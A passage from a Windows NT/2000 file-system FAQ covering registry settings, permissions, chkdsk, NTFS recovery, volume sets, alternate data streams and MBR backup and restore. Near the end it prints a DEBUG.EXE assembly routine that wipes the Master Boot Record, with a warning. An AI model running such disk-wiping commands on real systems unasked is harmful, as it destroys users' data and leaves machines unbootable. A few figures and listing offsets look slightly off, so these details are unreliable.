Windows 2000 has no such limitation. These are limits imposed by the specific machine BIOS. Newer machines/BIOSes typically don't have this limitation.


Q. Can I disable 8.3 name creation on a NTFS?

A. From the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem, change the value NtfsDisable8dot3NameCreation from 0 to 1.

You may experience problems installing Office 97 if you disable 8.3 name creation and may have to re-enable it during the installation of the software.


Q. How can I stop NT from generating LFN's (Long File Names) on a FAT partition?

A. Using the registry editor change the value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\Win31FileSystem from 0 to 1 and only 8.3 file names will be created.

The reason for not wanting the LFN's to be created is that some 3rd party disk utilities that directly manipulate FAT can destroy the LFN's. Utilities such as SCANDISK and DEFRAG that come with DOS 6.x and above do not harm LFN's.


Q. I can't create any files on the root of a FAT partition.

A. The root of a FAT drive has a coded limit of 512 entries, so if you have exceeded this you will not be able to create any more files. I don't have this many! Remember Long File Names take up more than one entry, see the next FAQ for more information, so if you have many LFN's on the root this will drastically reduce the number of files you can have.


Q. How do LFN's work?

A. Long File Names are stored using a series of linked directory entries. A LFN will use one directory entry for its alias (the alias is the 8.3 name automatically generated), and a hidden secondary directory entry for every 13 characters in its name, so if you had a 200 character long file name, this would use 17 entries!

The alias is generated using the first six characters of the LFN, then a ~ and a number for the first 4 versions of a files with the same first six characters, e.g. for the file
john savills file.txt
the names generated would be johnsa~1.txt, johnsa~2 etc.

After the first 4 version of a file, only the first two characters of the file name are used, and the last 6 are generated, e.g. jo0E38~1.txt


Q. How do I change access permissions on a directory?

A. You can only set access permissions on an NTFS volume. Follow the instructions below:

  1. Start Explorer (Start - Programs - Explorer).
  2. Right click on a directory and select properties
  3. Click on the Security tab
  4. Click the permissions button
  5. Enter the information required
  6. Click OK, and then click OK again to exit


Q. How can I change access permissions from the command line?

A. A utility called CACLS.EXE comes as standard with NT, and can be used from the command prompt. Read the help with the CACLS.EXE program (cacls /?). To give user john read access to a directory called files enter:
CACLS files /e /p john:r
/e is used to edit the ACL instead of replacing it, therefore other permissions on the directory will be kept. /p sets permission for user:<permission>


Q. I have a CHKDSK scheduled to start next reboot, but I want to stop it.

A. If the command chkdsk /f /r (find bad sectors, recover information from bad sectors and fix errors on the disk) is run, on the next reboot the check disk is scheduled, however you may want to cancel this check disk. To do this perform the following:

  1. Run the Registry Editor (Regedt32.exe). You must use Regedt32 and not Regedit.exe
  2. Goto HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
  3. Change the BootExecute value from:
    autocheck autochk * /r\DosDevice\<drive letter>:
    To:
    autocheck autochk *


Q. My NTFS drive is corrupt, how do I recover?

A. To restore an NTFS drive using the information below, it must have been created using Windows NT 4.0, if it was not created using NT 4.0 you should see Knowledge base article Q121517. To restore an NTFS partition you must locate the spare copy of the boot sector and copy it to the correct position on the drive. You need the NTdiskedit utility (you can also use Disk Probe that comes with the resource kit and instructions for Disk Probe can be found at http://support.microsoft.com/support/kb/articles/q153/9/73.asp or Norton disk edit) which is available from Microsoft Support Services.

  1. Using NTdiskedit for Windows NT 4.0, on the File menu, click Open.
  2. Type the Volume Name as
    \\.\PhysicaldriveX
    where X=the ordinal of the disk that appears in Disk
    Administrator)
  3. Click OK.
  4. On the Read menu, click Sectors. Select 0 for Starting Sectors and select 1 for Run Length. Click OK.
  5. On the View menu, click Partition Table. You should see a table that has four sections, Entry 0 through Entry 3. This refers to the order of partitions. If the partition in question is Partition 2 on the Disk, you need the data in Entry 1. If the Partition in question is the Partition 1 on the disk, you need the data from Entry 0 and so on.
  6. Write down the values of Starting Sector and Sectors.
    NOTE: all of the values you see will be in hexadecimal format. Do not convert to decimal.
  7. Using a Calculator (you can use the one from the Accessories group if one is available) that can add hexadecimal numbers, add the values for Starting Sector and Sectors, and subtract 1 from the sum. For example:
    STARTING SECTOR=Ox3F
    SECTORS=0x201c84 +
    ----------
    0x201CC3
    Less 1 0x1 -
    ----------
    Copy of NTFS bootsector=0x201CC2
  8. On the Read menu, click Sectors. In Starting Sectors, type the value from the equation above. Type 1 in Run Length. Click OK.
    You now should be at your copy of the NTFS bootsector. Visually inspect the boot sector for completeness, NTFS header at first line, text in the lower region (for example, "A kernel file is missing from the disk"), and so forth.
  9. Click Relocate Sectors. This is the Sector you are going to write the bootsector. This will be the value of your Starting Sector with the Run Length of 1. Click OK.
  10. Quit Ntdiskedit. Use Disk Administrator to assign a drive letter if not already assigned. Restart the computer; the file system should be recognized as NTFS.


Q. How can I delete a file without it going to the recycle bin?

A. When you delete the file, hold down the shift key.


Q. How can I change the serial number of a disk?

A. The serial number is located in the boot sector for a volume. For FAT drives its 4 bytes starting at offset 0x27; for NTFS drives its 8 bytes starting at offset 0x48. You'll need a sector-level editor to modify the number (like the Resource Kit's Diskprobe).


Q. How can I backup the Master Boot Record?

A. The Master boot record on the hard disk used to start the computer (the system partition) is the most critical sector so make sure this is the sector you backup. The boot partition is also very important (where %systemroot% resides). You need the DiskProbe utility that comes with the Resource Kit.

  1. Start DiskProbe
  2. From Drives, click Physical Drive, and click on the drive that is the system partition (from the Open Physical Drive dialog)
  3. The disk clicked will be displayed in the Handle 0 section. Click "Set Active" and then click Close
  4. From the sectors menu click Read. Accept the default sectors of "Starting Sector" 0, and "Number of Sectors" 1.
  5. From the File menu click "Save As" and enter a file name.

Also see:

  • Q. How can I backup/restore my Master Boot Record?


Q. How do I restore the Master Boot Record?

A. Follow the instructions below, however be very careful!!!

  1. Start DiskProbe
  2. From "File" click "Open" and select the file that the information was saved as
  3. From drives click Physical Drive and click the disk you want to replace the boot partition on
  4. In the Handle 0 box, clear the Read Only box and click "Set Active", then click Close
  5. From the sectors menu click write and set the starting sector to 0, and click "Write it"
  6. Verify and close DiskProbe
  7. Keep your fingers crossed :-)

Also see:

  • Q. How can I backup/restore my Master Boot Record?


Q. What CD-ROM file systems can NT read?

A. NT's primary file system is CDFS a read only file system, however it can read any file system that is ISO9660 compliant.


Q. How do I disable 8.3 name creation on VFAT?

A. Start the registry editor (regedit.exe) and set the value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\Win95TruncatedExtensions to 0.


Q. How do I create a Volume Set?

A. A volume set allows you to take all the unused space on one or more drives (up to 32 drives per volume set) and combine it into a single, large, system recognizable drive. To create a volume set:

  1. Logon as an Administrator and start Disk Administrator (Start - Programs - Administrative Tools - Disk Administrator).
  2. Click on the first free area of disk space, then hold down the Ctrl key and select all the other areas of unpartitioned space.
  3. Once all the parts are selected, from the Partition menu select "Create Volume Set".
  4. A dialog box will be displayed and you can choose the size of the partition to be created. Click OK
  5. Once created the areas that are part of a Volume Set will be shown in yellow.
  6. Close Disk Administrator (or select Commit Changes New)
  7. A confirmation dialog box will be displayed, confirm and a reboot will be required.
  8. Once the reboot has completed you can now format the volume. You should really format the Volume NTFS, as DOS and Windows95 clients will not be able to read it anyway!

The main problem with volume sets is that if one drive in the volume set fails, the entire volume set becomes unavailable.

Volume sets cannot be used for the boot or system partition.


Q. How do I extend a Volume Set?

A. Extending a volume set is very simple, however a reboot will be required

  1. Start Disk Administrator (Start - Programs - Administrative Tools - Disk Administrator)
  2. Click on the existing Volume Set and hold down the Ctrl key
  3. Click on the area (or areas) of free space to be added (a black border will be shown around them)
  4. Choose "Extend Volume Set" from the Partition menu, or right click on one of the selected areas and this option will be shown.
  5. A dialog box will be shown asking how large the drive should be. Click OK
  6. From the Partition menu, select "Commit changes now"
  7. Answer the further dialogs and reboot the server.

The reboot will take longer than normal as the new area added has to be formatted to the same file system as the rest of the volume set.

Note: Only NTFS Volume Sets can be extended.


Q. How do I delete a Volume Set?

A. When you delete a volume set all the data stored will be lost. To delete a volume set:

  1. Start Disk Administrator
  2. Click on part of the volume set
  3. Select Delete from the Partition menu
  4. Click Yes on the dialog box


Q. What is the maximum number of characters a filename can be?

A. This depends on if the file is being created on a FAT or NTFS partition. The maximum filename length on a NTFS partition is 256 characters, and 11 characters on FAT (8 character name, . , 3 character extension). NTFS filenames keep their case, whereas FAT filenames have no concept of case (however the case is ignored when performing a search etc on NTFS). There is the new VFAT which also has 256 character filenames.

NTFS filenames can contain any characters, including spaces, uppercase/lowercase except for the following

" * : / \ ? < > |

which are reserved for NT, however the file name must start with a letter or number.

VFAT filenames can also contain any characters except for the following

/ \ : | = ? " ; [ ] , ^

and once again the file name must start with a letter or number.

NTFS and VFAT also creates a 8.3 format file name, see Q. How to LFN's work?


Q. How can I stop chkdsk at boot time from checking volume x?

A. When NT boots it performs a check on all volumes to see if the dirty bit is set, and if it is a full chkdsk /f is run. To stop NT performing this dirty bit check you can exclude certain drives. The reason you may want to do this is for some type of removable drive, e.g. Iomega drives:

  1. Run the Registry Editor (Regedt32.exe). You must use Regedt32.exe and not Regedit.exe
  2. Goto HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
  3. Change the BootExecute value from:
    autocheck autochk *
    to:
    autocheck autochk /k:x *

Where x is the drive letter, e.g. if you wanted to stop the check on drive f: you would type autocheck autochk /k:f *. To stop the check on multiple volumes just enter the drive names one after another, e.g. to stop the check on e: and g: autocheck autochk /k:eg *, you do not retype the /k each time.

If you are using NT 4.0 with Service Pack 2 or above, you can also use the CHKNTFS.EXE command which is also used to exclude drives from the check and updates the registry for you. The usage to disable a drive is

chkntfs /x <drive letter>:
e.g. chkntfs /x f: would exclude the check of drive f:

To set the system back to checking all drives just type

chkntfs /d


Q. How can I compress files/directories from the command line?

A. A utility is supplied with the resource kit called compact.exe which can be used to view and change the compression characteristics of a file/directory.


Q. What protections can be set on files/directories on a NTFS partition?

A. When you right click on a file in Explorer and select properties (or select Properties from the File menu) you are presented with a dialog box telling you information such as size, ownership etc. If the file/directory is on a NTFS partition there will be a security tab, and within that dialog, a permissions button. If you press that button you can grant access to users/groups on the resource at various levels.

There are six basic permissions

  • R - Read
  • W - Write
  • D - Delete
  • X - Execute
  • P - Change Permissions
  • O - Take Ownership

These can be assigned to a resource, however they are grouped for ease of use

  • No Access - User has no access to the resource
  • List - R User can view directory and filenames in directory
  • Read - RX User can read files in directory and execute programs
  • Add - WX User can add files to the directory, but cannot read or change the contents of the directory
  • Add & Read - RWX User has read and add permissions
  • Change - RWXD User has read, add, change contents and delete files
  • All - RWXDPO User can do anything she wants!

The permissions above can all be set on a directory, however this list is limited for a file, and permissions that can be set are only No Access, Read, Change and Full Control.

Another permission exists called "Special Access" (on a directory there will be two, one for files, one for directories), and from this you can set which of the basic permissions should be assigned.


Q. How can I take ownership of files?

A. Sometimes you may want to take ownership of files/directories, usually as someone has removed all access on a resource and can't see it. You would log on as the Administrator and take ownership. You cannot give ownership to someone else using standard NT functionality, only take ownership.

  1. Log on as Administrator or a member of the Admins group
  2. Start Explorer
  3. Right click on the file/directory and select properties
  4. Select the Security tab and click Ownership
  5. Click "Take Ownership" and then click Yes to the prompt


Q. How can I view the permissions a user has on a file from the command line?

A. A utility is supplied with the resource kit called perms.exe which can be used to view permissions on files/directories. The usage is

perms <domain>\<user> <file>
e.g. perms savilltech\savillj d:\file\john\file.dat

You can add /s to also show details of sub files/directories. The permissions shown equate to

R | Read
W | Write
X | Execute
D | Delete
P | Change Permission
O | Take Ownership
A | All
None | No Access
* | User is the owner
# | A group the member is a member of owns the file
? | Permissions cannot be determined

To output to a file just add > filename.txt at the end, e.g.

perms <user> <file> > file.txt


Q. How can I tell the total amount of space used by a folder (including sub folders)?

A. There are two ways of doing this (there are more!), one using explorer and one from the command line. Using Explorer

  1. Start Explorer (Win key + E or Start - Programs - Explorer)
  2. Right click on the required folder and select properties
  3. Under the General tab a size will be displayed and this is the total size of the folder and all sub-folders and their contents.

From the command line you can just use the dir command with /s qualifier which also lists all sub-directories, e.g.
dir/s d:\savilltechhomepage
would list all files/folders in the savilltechhomepage directory and at the end the total size.


Q. There are files beginning with $ at the root of my NTFS drive, can I delete them?

A. NO!!! These files hold the information of your NTFS volume. Below is a table of all the files used by the file system:

$MFT | Master File Table
$MFTMIRR | A copy of the first 16 records of the MFT
$LOGFILE | Log of changes made to the volume
$VOLUME | Information about the volume, serial number, creation time, dirty flag
$ATTRDEF | Attribute definitions
$BITMAP | Contains drive cluster map
$BOOT | Boot record of the drive
$BADCLUS | A list of bad clusters on the drive
$QUOTA | Quota information (used on NTFS 5.0)
$UPCASE | Maps lowercase characters to uppercase version

If you want to have a look at any of these files use the command

dir /ah $mft

Its basically impossible to delete these files anyway as you can't remove the hidden flag and if you can't remove the hidden flag you can't delete it!


Q. What file system do Iomega ZIP disks use?

A. By default, the formatted ZIP disks are FAT, however you can format these with NTFS is you want. NTFS has a higher overhead than FAT on small volumes (an initial 2MB) which is why you don't have NTFS on 1.44 floppy disks.


Q. What cluster size does a FAT/NTFS partition use?

A. The default cluster size for a FAT partition is as follows:

Partition size | Sectors per cluster | Cluster size
<32MB | 1 | 512 bytes
<64MB | 2 | 1K
<128MB | 4 | 2K
<255MB | 8 | 4K
<511MB | 16 | 8K
<1023MB | 32 | 16K
<2047MB | 64 | 32K
<4095MB | 128 | 64K

This is why FAT volumes larger than 511MB are not recommended due to the amount of potentially wasted space due to the 16KB and above cluster size.

The default for NTFS is as follows:

Partition size | Sectors per cluster | Cluster size
<512MB | 1 | 512 bytes (or hardware sector size if greater than 512 bytes)
<1024MB | 2 | 1K
<2048MB | 4 | 2K
<4096MB | 8 | 4K
<8192MB | 16 | 8K
<16384MB | 32 | 16K
<32768MB | 64 | 32K
>32768 MB | 128 | 64K

NTFS better balances the trade off between disk defragmentation due to smaller cluster size and wasted space due to a large cluster size.

When formatting a drive you can change the cluster size using the /a:<size> switch, e.g.

format d: /a:1024 /fs:ntfs


Q. How much free space do I need to convert a FAT partition to NTFS?

A. The calculation below can be used for disks of a standard 512 bytes per sector:

  • Take the size of the partition and divide by 100. If this is less than 1,048,576 use 1,048,576, if greater than 4,194,304 use 4,194,304
  • Add to the number calculated above the size of the partition divided by 803
  • Add to the number calculated the total number of files and directories multiplied by 1280. You can work out the total number of files and directories using the dir /s command at the base of the partition, e.g.
    dir /s d:\
    Total Files Listed:
    3397 File(s)     300,860,372 bytes
  • Add to the above 196096

To summarize:

Free space needed = (<size of partition in bytes>/100) + (<size of partition in bytes>/803) + (<no of files & directories> * 1280) + 196096

For more information see Knowledge Base article Q156560 at http://support.microsoft.com/support/kb/articles/q156/5/60.asp


Q. NT becomes unresponsive during an NTFS disk operation such as a dir.

A. When you perform a large NTFS disk operation such as a dir/s *.* or a ntbackup :\*.* NT can sometimes become unresponsive because NT updates NTFS files with a last access stamp and if viewing thousands of files the NTFS log file can become full and waits to be flushed to the hard disk, this can cause NT to become unresponsive. To stop NTFS updating the last access stamp perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NtfsDisableLastAccessUpdate and click OK
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Reboot the machine

This should improve the performance of your NTFS partitions.

Below is an example or a .reg file that can be used to automate this:

REGEDIT4
;
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]
"NtfsDisableLastAccessUpdate"=dword:1


Q. I have missing space on my NTFS partitions (Alternate Data Streams).

A. Its possible to hide data from both explorer and the dir command within an NTFS file that you cannot see unless you know its stream name. NTFS allows multiple streams to a file in the form of <filename>:<stream name>, you can try it

  1. Start a console windows (cmd.exe)
  2. Run "notepad normal.txt" and enter some text and save. This has to be on an NTFS partition
  3. Now edit the file again but this time with a different stream "notepad normal.txt:hidden". You will be prompted to create a new file. Enter some text and save
  4. Perform a dir and you will see you still see only normal.txt with its original size.

You can have as many streams as you want. If you copy a file it keeps the streams, so copying normal.txt to john.txt, john.txt:hidden would exist. You cannot use streams from the command prompt as it does not allow : in files names except for drive letters.

Microsoft provide no way of detecting or deleting these streams. The two ways to delete are

  • Copy the file to a FAT partition and back again
  • - ren <file> temp.exe
    - cat temp.exe > <file>
    - del temp.exe

One application I have found to detect alternate data steams is by Frank Heyne and can be downloaded from http://www.heysoft.de/nt/ep-lads.htm .

Alternatively you can use Lizp which is downloadable from http://www.lizp.com. I have not used it in earnest, however what I have seen looks very good. An example use would be

Lizp NT use

Its also possible to write a function to enumerate every altstream in every file matching c:\winnt\*. To do this, let's define a function, we'll call it las, and it'll take one argument, the wild path. Then we could type
(las 'c:\winnt\*)
and we'd get what we wanted.

Here's such a function definition:

(sequence
    (define
        (las Dir)
        (filter
            '(lambda
                (o)
                (cdr o) )
            (mapcar
                '(lambda
                    (FileInfo)
                    (if
                        (getfilesize
                            (car FileInfo) )
                        (cons
                            (car FileInfo)
                            (getaltstreams
                                (car FileInfo) ) )
                        (cons nil nil) ) )
                (dirlist Dir) ) ) )
    '(Enhanced with las) )

Even though you could type all this in at the prompt, on one long line, it's easier to save the code above to a file. Let's call the file las.lzp.

Now, from the Lizp prompt, you could type

(eval (load 'las.lzp))

and voila, you'll have a new function, las. Now try the thing above:

(las 'c:\winnt\*)

Suppose we think our Lizp should have this functionality always. Then type

(Compile (load 'las.lzp) 'Lizp_with_las.exe true)

and we'll have a new version of Lizp, called Lizp_with_las.exe.

Finally, suppose we wanted a GUI application which asked us for the wild path, and then displayed the alternate streams in a window. Save the following lines to a file, let's call it las_gui.lzp:

(local
    (Result)
    (setq Result
        (las
            (inputbox
                '((Wild path to check for Alt Streams)) ) ) )
    (messagebox
        (if Result Result
            '((No Alt Streams found in path.)) ) )
    (exit) )

Now, from Lizp_with_las' prompt, type

(Compile (load 'las_gui.lzp) 'Las.exe nil

and you'll have a new program, Las.exe, doing what we want. Note the last argument to the Compile function: the first time we compiled, we used "true", this last time we used "nil". This is because the first time we wanted the new program to create a console when run (because it was going to be our new Lizp interpreter). The second time we don't need a console.

Another way to delete these streams is to edit them in notepad and delete all the text. When you quit notepad NT tells you that the file is empty and will be deleted and you only have to confirm.

If you want to write your own programs to detect streams have a look at

  • http://www.brilig.demon.co.uk/nt/streams.html
  • http://www.mvps.org/win32/ntfs/streams.html

Basically the only reliable way of handling streams is to use the BackupRead() function. The only "problem" is that BackupRead() requires SeRestorePrivilege/SeBackupPrivilege rights which most users will not have

BackupRead() actually does is to turn a file and its associated metadata (extended attributes, security data, alternate streams, links) into a stream of bytes. BackupWrite() converts it back.


Q. How can I change the Volume ID of a disk?

A. Windows NT provides functionality to change the volume name of a disk by using the command

label <drive>: <label name>

Windows NT does not provide built in functionality to change Volume ID's, however NT Internals has produced a free utility that can be downloaded from http://www.sysinternals.com/misc.htm called VolumeID which can change the volume ID of a FAT or NTFS volume. To view a drives current Volume ID you can just perform a dir <drive>: and the volume serial number is shown on the second line down, e.g.

Volume in drive E is system
Volume Serial Number is BC09-8AE4

To change enter the command

volumeid <drive letter>: xxxx-xxxx


Q. How do I read NTFS 5.0 partitions from Windows NT 4.0?

A. Service Pack 4 includes a read/write driver for NTFS 5.0 volumes (an updated ntfs.sys driver). This is installed by default when installing Service Pack 4 however you do not have access to the more advanced features such as junction points and the Encrypted File System.


Q. How do share and file system protections interact?

A. In general when you have protections on a share or on a file/directory the privileges are added, for example if user John was a member of 2 groups, one with read access and another with change the user would have read and change access. The exception to this if a group has "no access" which means no mater what other group memberships there are, any user in that group will have no access.

The opposite is true when protections are set on the file system and on the share where the most restrictive policy is enforced, e.g. if the file has full control set for a user and the share only has read then the user will be limited to read-only privileges, likewise if the file had only read-only but the share had full the user would still be limited to read-only.

Share protections are only used when the file system is accessed through a network connection, if the user is using the partition locally then the share protections will be ignored.


Q. How can I backup/restore my Master Boot Record?

A. The Windows NT Resource kit supplies a utility DISKSAVE.EXE which enables a binary image of the Master Boot Record (MBR) or Boot Sector to be saved.

DISKSAVE has to be run from DOS and so you will need to create a bootable DOS disk and copy DISKSAVE.EXE to the disk. To create a DOS bootable disk just use the command

C:\> format a: /s

from a DOS machine (do not do it from a Windows NT command session).

Once you boot with the disk you will have a number of options:

F2 - Backup the Master Boot Record - This function will prompt for a path and filename to save the MBR image to. The path and filename are limited to 64 characters. The resulting file will be a binary image of the sector and will be 512 bytes in size. The MBR is always located at Cylinder 0, Side 0, Sector 1 of the boot disk.

F3 - Restore Master Boot Record - This function will prompt for a path and filename for the previously save Master Boot Record file. The only error checking is for the file size (must be 512 bytes). Copying and incorrect file to the MBR will permanently destroy the partition table information. In addition, the machine will not boot without a valid MBR. The Path/filename is limited to 64 characters.

F4 - Backup the Boot Sector - This function will prompt for a path and filename to save the Boot Sector image to. The path and filename are limited to 64 characters. The resulting file will be a binary image of the sector and will be 512 bytes in size. The function opens the partition table, searches for an active partition, then jumps to the starting location of that partition. The sector at that location is then saved under the filename the user entered. There are no checks to determine if the sector is a valid boot sector.

F5 - Restore Boot Sector - This function will prompt for a path and filename for the previously save Boot Sector file. The only error checking is for the file size (must be 512 bytes). Copying and incorrect file to the Boot Sector will permanently destroy Boot Sector information. In addition, the machine will not boot without a valid Boot Sector. The Path/filename is limited to 64 characters.

F6 - Disable FT on the Boot Drive - This function may be useful when Windows NT will not boot from a mirrored system drive. The function looks for the bootable (marked active) partition. It then checks to see if the SystemType byte has the high bit set. Windows NT sets the high bit of the SystemType byte if the partition is a member of a Fault Tolerant set. Disabling this bit has the same effect as breaking the mirror. There is no provision for re-enabling the bit once it has be disabled.


Q. How do I convert an NTFS partition to NTFS 5.0?

Q. How do I convert an NTFS partition to NTFS 5.0? - Windows 2000 only

A. Windows NT 5.0 introduces NTFS 5.0 which enables a number of new features. By default when you install Windows NT 5.0 it will automatically convert any NTFS 4.0 partitions to NTFS 5.0. ANY and ALL NTFS volumes Windows 2000 sees - including removable media are automatically converted to V5.0 on the fly when Windows 2000 mounts them.

Service Pack 4 has an updated NTFS.SYS which can read NTFS 5.0 partitions so apply this to any systems that need to read Windows 2000 NTFS 5.0 partitions and in a multi-boot environment BEFORE installing Windows 2000.

By default (you can override using advanced option button) on server installations the boot partition will be upgraded to NTFS if you’re not in a dual boot environment, yep that’s right it automatically upgrades from FAT to NTFS.


Q. I cannot compress files on an NTFS partition.

A. If when you try and compress files on an NTFS partition using Explorer (right click on a file/directory, select properties and check the compress box) the option is not available or when you try from the command prompt using the command:

C:\> compact /c ntfaq.txt /s

you get the error

"The file system does not support compression"

the cause is normally that the cluster size of the NTFS partition is greater than 4096. To check the cluster size of your NTFS partition use the CHKDSK command, e.g.

C:\> chkdsk <disk>: /i /c

The /i /c are used to speed up the chkdsk and at the end of the display it will tell you the bytes in each allocation unit:

2048 bytes in each allocation unit.
1012032 total allocation units on disk.
572750 allocation units available on disk.

If this number is greater than 4096 you will need to backup all the data on the disk and then reformat the partition using any of the following methods:

  • Start Explorer, make sure the partition is not being used, right click on the partition and select format. Set the allocation unit size to 4,096 or less
  • Start Disk Administrator (Start - Programs - Administrative Tools - Disk Administrator), right click on the partition, select format and again set the unit size to 4,096 or less
  • Format from the command prompt
    C:\> format <drive>: /fs:ntfs /a:4096

Once reformatted you can then restore your backed up data.

To understand more about the 4,096 limit please read Knowledge base article Q171892 at http://support.microsoft.com/support/kb/articles/q171/8/92.asp


Q. How can I modify the CHKDSK timer?

A. Service Pack 4 introduces a new feature which before performing a chkdsk of a disk if its dirty bit is set a 30 second countdown timer is given allowing you to cancel to chkdsk from running.

If you want to modify this 30 second value perform the following:

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
  3. From the Edit menu select New - DWORD Value. Enter a name of AutoChkTimeOut and press ENTER
  4. Double click this new value and set to 0 to disable the timer, or the time in seconds you wish to be given to cancel the chkdsk.
  5. Close the registry editor

The change will take effect at the next reboot


Q. How can I view the current owner of a file?

A. The normal method would be to right click on the file in Explorer, select Properties, click the Security tab and click Ownership. This will then show the current owner and give the option to take ownership.

To view from the command line you can use the SUBINACL.EXE utility that is shipped with the Windows NT Resource Kit Supplement 2. To view the current owner use as follows:

C:\> subinacl /file <file name>
//++++
// D:\Documents\<file name>
//----
+ Owner = builtin\administrators
+ Primary Group= lnautd0001\domain users
+ System ACE count =0
+ Disc. ACE count =1
lnautd0001\saviljo ACCESS_ALLOWED_ACE_TYPE FILE_ALL_ACCESS

You could perform on *.* to list owners for all files in all subdirectories (no need for any /s switch).


Q. How can I view/defrag pagefile fragmentation?

A. System Internals has released PageDefrag, a free utility that shows fragmentation in the pagefile and then offers the option of defragmentation at boot time.

The utility can be downloaded from http://www.sysinternals.com/pagedfrg.htm. Once you download just unzip the file and run pagedfrg.exe. Below is a sample output.

I understand that Executive Software's Diskeeper 4.0 can also defragment pagefiles however I have not seen it in action (http://www.diskeeper.com).


Q. I get a disk maintenance message during setup.

A. If during setup up get the message:

Setup has performed maintenance on your hard disk(s) that requires a reboot to take effect. You must reboot and restart Setup to continue.

Press F3 to reboot.

This is returned when the Autochk part of the installation was able to repair the partition, but will require a reboot.

For a FAT partition, this could include corruption of extended attributes was fixed, the dirty bit was cleared, orphaned long filename entry was fixed (or any other fixing of lfns), directory entry fixed, crosslinked files fixed, non-unique filename uniqued, or any other structural issues at all fixed. There will of course be other specific "fixing steps" that would cause this for NTFS, or other non-file system specific structures.

In short this is not a problem as long as the setup does not get stuck in a loop keep running this stage.


Q. Where is Disk Administrator in Windows 2000?

Q. Where is Disk Administrator in Windows 2000? - Windows 2000 only

A. As with every other Administration tool in Windows 2000, Disk Administrator has been replaced with a Microsoft Management Console (MMC) snap-in.

By default it is accessible via the Computer Management MMC snap-in

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Select the Storage branch
  3. Select Disk Management
  4. Should look familiar

Disk Management MMC

Alternatively create your own MMC console

  1. Start the MMC (Start - Run - MMC)
  2. Select "Add/Remove Snap-in" from the Console menu
  3. Click Add
  4. Select Disk Management and click Add
  5. Select Local Computer and click Finish
  6. Click Close
  7. Click OK to the main dialog

You now have your own MMC with just the Disk Management. You could save by selecting "Save As" from the Console menu, enter "Disk Admin" as the name and click Save. You will now see under the Programs menu a new folder, My Administrative Tools with Disk Admin as a MMC snap-in.


Q. How do I convert a basic disk to dynamic?

Q. How do I convert a basic disk to dynamic? - Windows 2000 only

A. Windows 2000 introduces the idea of a dynamic disk needed for fault tolerant configurations. To convert perform the following:

  1. Start Computer Manager
  2. Expand Storage - Disk Management.
  3. Right click on the disk and select 'Upgrade to Dynamic Disk'
  4. Select the disks to upgrade and click OK
  5. A summary will be displayed.
  6. Click Upgrade
  7. Click Yes to the confirmation

Converting Basic disks to Dynamic disks don't require reboots - however any volumes contained on them after the conversion will generate a popup that basically says a re-boot is necessary before the volumes can be used. I generally say - NO, do not reboot - until all the volumes are identified and all the popups go away, then perform a single re-boot.

When you upgrade from basic to dynamic any existing partitions become simple volumes. Any existing mirrored, striped or spanned volumes sets created with NT 4.0 become dynamic mirrored, striped or spanned volumes respectively.

If you get a message that says you are out of space then you may not have enough unallocated free space at the end of the disk for the private region database that Dynamic disks use to keep volume information. To be Dynamic it needs about 1 MB of this space, sometime the space is not visible to the user in the GUI but it is still there.

You may not have the space if the partition(s) on the disk take up the entire disk and were created with Setup, an earlier version of NT or another OS. If partitions are created within Windows 2000 the space is reserved, partitions created with Setup will reserve the space in a later release.

To undo this conversion run Dmunroot.exe which will revert boot and system partition back to basic but all other volumes will be destroyed. Alternatively you should backup any data on the disk you wish to preserve, then delete all partitions - that should activate the menu choice "Revert to Basic Disk", the entire disk HAS to be unallocated or free space. Dmunroot is an unsupported utility available from Microsoft.


Q. How do I delete a volume in Windows 2000?

A. To delete a volume just perform the following, be warned you will lose any data on these volumes.

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Storage branch and select 'Disk Management'
  3. Right click on the volume to be deleted and select 'Delete Volume..' from the context menu shown
  4. Click Yes to the confirmation


Q. How do I import a foreign volume in Windows 2000?

A. If you take a disk from another machine and place in a Windows 2000 box it will be shown as foreign and its partitions not available, however its partition information can be imported and volumes used. Any volumes that were part of a set will be deleted during the import phase unless the whole set of disks are imported.

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Storage branch and select 'Disk Management'
  3. Right click on the volume to be imported and select 'Import Foreign Disks..' from the context menu shown
    Import foreign
  4. Click OK to the displayed dialog of the disk to import. If you imported multiple disks they will be grouped by the computer they were moved from and can be selected by clicking the 'Select Disk' button. If the disks imported are not dynamic they will all be imported regardless of you choices.
  5. A dialog will be shown showing the volumes to import. Click OK
    List of volumes to import
    Notice the partition that was part of a RAID 5 set is not usable.

The data on the imported volumes will now be accessible (you have to refresh in Explorer to see them (press F5)).


Q. How can I wipe the Master Boot Record?

A. The normal method is using the DOS FDISK command:

C:\> fdisk /mbr

however there are some cases where this does not work and a more direct method may be needed.

A program called DEBUG.EXE is supplied with DOS, Windows 9x and NT and can be used to run small Assembly language programs and just such a program can be used to wipe the MBR. Perform the following, but BE CAREFUL, this WILL wipe your MBR leaving your system unbootable and its data lost.

  1. Boot to 9x or DOS (this cannot be done from NT since direct disk access is not allowed)
  2. Start a command prompt
  3. Enter the following commands (in bold):
    C:\> debug
    -F 9000:0 L 200 0
    -a
    0C5A:0100 Mov dx,9000
    0C5A:0103 Mov es,dx
    0C5A:0105 Xor bx,bx
    0C5A:0107 Mov cx,0001
    0C5A:0109 Mov dx,0080
    0C5A:010A Mov ax,0301
    0C5A:010D Int 13
    0C5A:0110 Int 20
    <press Enter twice>
    -u 100 L 12   <check the code matches the above>
    -g    <executes>

    Program terminated normally
    -quit

You can now install a replacement MBR via a normal installation.

Thanks to Mark Minasi for giving permission to reproduce this Assembler code and a full explanation can be found in Windows NT Magazine Summer 1999 issue

Another method from David Lynch:

C:\> debug
-a
